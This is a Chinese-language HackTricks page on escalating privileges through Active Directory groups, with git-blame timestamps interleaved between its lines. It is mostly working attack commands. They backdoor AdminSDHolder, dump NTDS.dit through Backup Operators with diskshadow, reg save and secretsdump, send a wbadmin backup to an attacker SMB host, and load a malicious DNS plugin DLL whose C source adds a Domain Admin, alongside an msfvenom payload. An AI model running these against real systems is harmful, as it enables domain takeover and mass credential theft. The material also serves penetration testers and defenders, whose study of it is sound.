2023-08-03 19:12:22 +00:00
# 特权组
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 01:27:24 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-02 20:35:58 +00:00
支持HackTricks的其他方式:
2024-02-08 03:56:12 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 01:27:24 +00:00
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
2024-02-08 03:56:12 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-08 03:56:12 +00:00
## 具有管理权限的知名组
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
* **Administrators**
* **Domain Admins**
* **Enterprise Admins**
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
## 账户操作员
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
该组有权在域上创建不是管理员的帐户和组。此外, 它允许在域控制器( DC) 上进行本地登录。
2022-10-05 21:11:58 +00:00
2024-02-08 03:56:12 +00:00
要识别此组的成员,执行以下命令:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
2024-02-09 01:27:24 +00:00
允许添加新用户, 以及在DC01上进行本地登录。
2022-10-05 21:11:58 +00:00
2023-08-03 19:12:22 +00:00
## AdminSDHolder组
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
**AdminSDHolder**组的访问控制列表( ACL) 至关重要, 因为它为Active Directory中的所有“受保护组”( 包括高特权组) 设置权限。该机制通过防止未经授权的修改, 确保了这些组的安全性。
2024-02-09 01:27:24 +00:00
攻击者可以通过修改**AdminSDHolder**组的ACL来利用这一点, 授予标准用户完全权限。这将有效地使该用户对所有受保护组拥有完全控制权。如果此用户的权限被更改或移除, 由于系统设计的原因, 它们将在一个小时内自动恢复。
2022-10-05 21:11:58 +00:00
2024-02-08 03:56:12 +00:00
用于查看成员和修改权限的命令包括:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
2020-07-15 15:43:14 +00:00
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
2024-02-08 03:56:12 +00:00
一个脚本可用于加快恢复过程:[Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)。
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
有关更多详细信息,请访问[ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)。
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
## AD 回收站
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
该组的成员可以读取已删除的 Active Directory 对象,这可能会泄露敏感信息:
2022-10-05 21:11:58 +00:00
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
2023-08-03 19:12:22 +00:00
### 域控制器访问
2022-10-03 21:39:01 +00:00
2024-02-08 03:56:12 +00:00
除非用户是`Server Operators`组的成员, 否则对DC上的文件的访问是受限的, 这会改变访问级别。
2020-07-15 15:43:14 +00:00
2024-02-09 01:27:24 +00:00
### 特权升级
2020-07-15 15:43:14 +00:00
2024-02-09 01:27:24 +00:00
使用Sysinternals的`PsService`或`sc`,可以检查和修改服务权限。例如,`Server Operators`组对某些服务拥有完全控制权,允许执行任意命令和特权升级:
2024-02-08 03:56:12 +00:00
```cmd
2022-10-03 21:39:01 +00:00
C:\> .\PsService.exe security AppReadiness
```
2024-02-09 01:27:24 +00:00
这个命令显示`Server Operators`具有完全访问权限,可以操纵服务以获取提升的特权。
2022-10-03 21:39:01 +00:00
2024-02-08 03:56:12 +00:00
## 备份操作员
2022-10-03 21:39:01 +00:00
2024-02-09 01:27:24 +00:00
加入`Backup Operators`组可以访问`DC01`文件系统,因为具有`SeBackup`和`SeRestore`特权。这些特权使得即使没有明确权限,也可以使用`FILE_FLAG_BACKUP_SEMANTICS`标志进行文件夹遍历、列出和复制文件。执行特定脚本是必要的。要列出组成员,请执行:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
2024-02-08 03:56:12 +00:00
### 本地攻击
要在本地利用这些特权,需要执行以下步骤:
1. 导入必要的库:
2022-10-03 20:20:19 +00:00
```bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
2024-02-08 03:56:12 +00:00
```
2. 启用并验证 `SeBackupPrivilege` :
```bash
2022-10-03 20:20:19 +00:00
Set-SeBackupPrivilege
Get-SeBackupPrivilege
2024-02-08 03:56:12 +00:00
```
3. 访问并复制受限目录中的文件,例如:
```bash
2022-10-03 20:20:19 +00:00
dir C:\Users\Administrator\
2024-02-08 03:56:12 +00:00
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
2022-10-03 20:20:19 +00:00
```
2024-02-08 03:56:12 +00:00
### AD攻击
2020-07-15 15:43:14 +00:00
2024-02-09 01:27:24 +00:00
直接访问域控制器的文件系统允许窃取`NTDS.dit`数据库, 其中包含所有域用户和计算机的NTLM哈希值。
2022-10-03 20:20:19 +00:00
2024-02-08 03:56:12 +00:00
#### 使用diskshadow.exe
2023-11-05 23:27:57 +00:00
2024-02-08 03:56:12 +00:00
1. 创建`C`驱动器的阴影副本:
```cmd
2022-10-03 20:20:19 +00:00
diskshadow.exe
2024-02-08 03:56:12 +00:00
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
```
2. 从影子副本中复制 `NTDS.dit` 文件:
```cmd
2022-10-03 20:20:19 +00:00
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
2024-02-09 01:27:24 +00:00
或者,使用 `robocopy` 进行文件复制:
2024-02-08 03:56:12 +00:00
```cmd
2022-10-03 20:20:19 +00:00
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
2024-02-08 03:56:12 +00:00
3. 提取 `SYSTEM` 和 `SAM` 以检索哈希值:
```cmd
2022-10-03 20:20:19 +00:00
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
2024-02-08 03:56:12 +00:00
4. 从 `NTDS.dit` 中检索所有哈希值:
2022-10-03 20:20:19 +00:00
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
2024-02-08 03:56:12 +00:00
#### 使用 wbadmin.exe
2023-11-05 23:27:57 +00:00
2024-02-08 03:56:12 +00:00
1. 在攻击者机器上为 SMB 服务器设置 NTFS 文件系统,并在目标机器上缓存 SMB 凭据。
2. 使用 `wbadmin.exe` 进行系统备份和 `NTDS.dit` 提取:
```cmd
2023-11-05 23:27:57 +00:00
net use X: \\< AttackIP > \sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\< AttackIP > \sharename -include:c:\windows\ntds
wbadmin get versions
2024-02-08 03:56:12 +00:00
echo "Y" | wbadmin start recovery -version:< date-time > -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
2023-11-05 23:27:57 +00:00
```
2024-02-08 03:56:12 +00:00
有关实际演示,请参见[与 IPPSEC 的演示视频](https://www.youtube.com/watch?v=IfCysW0Od8w& t=2610s)。
2023-11-05 23:27:57 +00:00
2022-10-03 21:39:01 +00:00
## DnsAdmins
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
**DnsAdmins** 组的成员可以利用其特权在 DNS 服务器上以 SYSTEM 特权加载任意 DLL, 通常托管在域控制器上的 DNS 服务器。这种能力提供了重要的利用潜力。
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
要列出 **DnsAdmins** 组的成员,请使用:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
2024-01-02 20:35:58 +00:00
### 执行任意 DLL
2022-10-05 21:11:58 +00:00
2024-02-09 01:27:24 +00:00
成员可以使用诸如以下命令使 DNS 服务器加载任意 DLL( 可以是本地的, 也可以是来自远程共享的) :
2024-02-08 03:56:12 +00:00
```powershell
2020-07-15 15:43:14 +00:00
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
2024-02-08 03:56:12 +00:00
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
2020-07-15 15:43:14 +00:00
```
2024-02-08 03:56:12 +00:00
2020-07-15 15:43:14 +00:00
```c
2024-02-08 03:56:12 +00:00
// Modify DLL to add user
2020-07-15 15:43:14 +00:00
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
2023-08-03 19:12:22 +00:00
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
2020-07-15 15:43:14 +00:00
}
```
2024-02-08 03:56:12 +00:00
2022-10-03 21:39:01 +00:00
```bash
2024-02-08 03:56:12 +00:00
// Generate DLL with msfvenom
2022-10-03 21:39:01 +00:00
msfvenom -p windows/x64/exec cmd='net group "domain admins" < username > /add /domain' -f dll -o adduser.dll
```
2024-02-08 03:56:12 +00:00
重新启动DNS服务( 可能需要额外的权限) 是加载DLL所必需的:
2020-07-15 15:43:14 +00:00
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
```
2022-10-03 21:39:01 +00:00
#### Mimilib.dll
2024-02-08 03:56:12 +00:00
可以使用mimilib.dll进行命令执行, 修改它以执行特定命令或反向shell。[查看此文章](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)获取更多信息。
2022-10-03 21:39:01 +00:00
2024-02-09 01:27:24 +00:00
### WPAD Record for MitM
2024-02-08 03:56:12 +00:00
DnsAdmins可以操纵DNS记录, 通过在禁用全局查询阻止列表后创建WPAD记录来执行中间人攻击。工具如Responder或Inveigh可用于欺骗和捕获网络流量。
2022-10-03 21:39:01 +00:00
2024-02-09 01:27:24 +00:00
### Event Log Readers
成员可以访问事件日志,可能会找到敏感信息,如明文密码或命令执行细节:
2022-10-03 21:39:01 +00:00
```powershell
2024-02-08 03:56:12 +00:00
# Get members and search logs for sensitive information
2022-10-05 21:11:58 +00:00
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
2024-02-08 03:56:12 +00:00
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
2022-10-03 21:39:01 +00:00
```
2024-02-08 03:56:12 +00:00
## Exchange Windows权限
该组可以修改域对象上的DACL, 可能授予DCSync特权。利用该组进行特权升级的技术在Exchange-AD-Privesc GitHub存储库中有详细说明。
2022-10-05 22:52:18 +00:00
```powershell
2024-02-08 03:56:12 +00:00
# List members
2022-10-05 22:52:18 +00:00
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
2024-02-08 03:56:12 +00:00
## Hyper-V管理员
Hyper-V管理员拥有对Hyper-V的完全访问权限, 可以被利用来控制虚拟化的域控制器。这包括克隆活动的DC并从NTDS.dit文件中提取NTLM哈希。
2022-10-03 21:39:01 +00:00
2024-02-08 03:56:12 +00:00
### 漏洞利用示例
Firefox的Mozilla维护服务可以被Hyper-V管理员利用来以SYSTEM身份执行命令。这涉及创建一个硬链接到受保护的SYSTEM文件, 并用恶意可执行文件替换它:
2022-10-03 21:39:01 +00:00
```bash
2024-02-08 03:56:12 +00:00
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
2022-10-03 21:39:01 +00:00
```
2023-08-03 19:12:22 +00:00
## 组织管理
2022-10-05 22:52:18 +00:00
2024-02-09 01:27:24 +00:00
在部署**Microsoft Exchange**的环境中,一个名为**Organization Management**的特殊组拥有重要的能力。该组有权限**访问所有域用户的邮箱**,并且对**'Microsoft Exchange Security Groups'**组织单元( OU) 拥有**完全控制**。这种控制包括**`Exchange Windows Permissions`**组,可以被利用进行特权升级。
2022-10-05 22:52:18 +00:00
2024-02-08 03:56:12 +00:00
### 特权利用和命令
2022-10-05 21:11:58 +00:00
2024-02-08 03:56:12 +00:00
#### 打印操作员
2024-02-09 01:27:24 +00:00
**Print Operators**组的成员拥有多项特权,包括**`SeLoadDriverPrivilege`**,允许他们**在本地登录到域控制器**,关闭它,并管理打印机。要利用这些特权,特别是如果**`SeLoadDriverPrivilege`**在非提升的上下文中不可见, 需要绕过用户账户控制( UAC) 。
2022-10-05 21:11:58 +00:00
2024-02-08 03:56:12 +00:00
要列出此组的成员, 使用以下PowerShell命令:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
2024-02-08 03:56:12 +00:00
#### 远程桌面用户
该组成员通过远程桌面协议( RDP) 被授予访问PC的权限。要枚举这些成员, 可使用PowerShell命令:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName < pc name > -GroupName "Remote Desktop Users"
```
2024-02-08 03:56:12 +00:00
进一步了解如何利用RDP可以在专门的渗透测试资源中找到。
2022-10-05 21:11:58 +00:00
2024-02-08 03:56:12 +00:00
#### 远程管理用户
成员可以通过**Windows远程管理( WinRM) **访问计算机。通过以下方式实现对这些成员的枚举:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName < pc name > -GroupName "Remote Management Users"
```
2024-02-08 03:56:12 +00:00
#### 服务器操作员
2024-02-09 01:27:24 +00:00
该组具有在域控制器上执行各种配置的权限,包括备份和恢复权限、更改系统时间和关闭系统。要枚举成员,可以使用以下命令:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
2023-08-03 19:12:22 +00:00
## 参考资料 <a href="#references" id="references"></a>
2020-07-15 15:43:14 +00:00
2024-02-08 03:56:12 +00:00
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges )
* [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/ ](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/ )
* [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory ](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory )
* [https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c-- ](https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c-- )
* [https://adsecurity.org/?p=3658 ](https://adsecurity.org/?p=3658 )
* [http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ ](http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ )
* [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/ ](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/ )
* [https://rastamouse.me/2019/01/gpo-abuse-part-1/ ](https://rastamouse.me/2019/01/gpo-abuse-part-1/ )
* [https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13 ](https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13 )
* [https://github.com/tandasat/ExploitCapcom ](https://github.com/tandasat/ExploitCapcom )
* [https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp ](https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp )
* [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys ](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys )
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e ](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e )
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html ](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html )
2022-04-28 16:01:33 +00:00
< details >
2024-02-08 03:56:12 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2024-01-02 20:35:58 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-09 01:27:24 +00:00
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2024-02-08 03:56:12 +00:00
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
2024-02-09 01:27:24 +00:00
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**上关注**我们。
2024-02-08 03:56:12 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >